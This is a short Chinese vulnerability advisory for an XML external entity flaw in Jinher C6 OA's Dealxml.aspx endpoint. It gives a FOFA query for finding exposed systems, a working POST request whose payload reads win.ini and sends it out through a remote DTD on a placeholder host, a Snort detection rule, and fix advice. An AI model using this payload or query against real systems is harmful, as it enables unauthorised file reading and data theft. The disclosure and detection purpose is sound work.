

金和C6 Dealxml.aspx XML实体注入致任意文件读取漏洞

金和C6 Dealxml.aspx XML实体注入致任意文件读取漏洞，攻击者可进行注入攻击获取数据库信息或者权限。

影响版本

金和C6

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="金和网络-金和OA"

POC/EXP:

```
POST /c6/JHSoft.Web.Appraise/Dealxml.aspx/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/2.0 (compatible; MSIE 3.01; windows 95
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://vpsip/xxe.dtd">
%remote;
%all;
]><root>&send;</root>
```



snort规则:

```

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Jinher C6 - XXE File Read via Dealxml.aspx";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/c6/JHSoft.Web.Appraise/Dealxml.aspx"; http_uri;
  content:"Content-Type: application/xml"; http_header;
  pcre:"/<!ENTITY\s+%\s+\w+\s+SYSTEM\s+['\"]file:\\\//i";
  metadata:service http;
  metadata:affected_product "金和协同管理平台C6";
  metadata:vulnerability_type "XML External Entity Processing";
  classtype:web-application-attack;
  sid:1000366;
  rev:1;
  priority:1;
)

```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。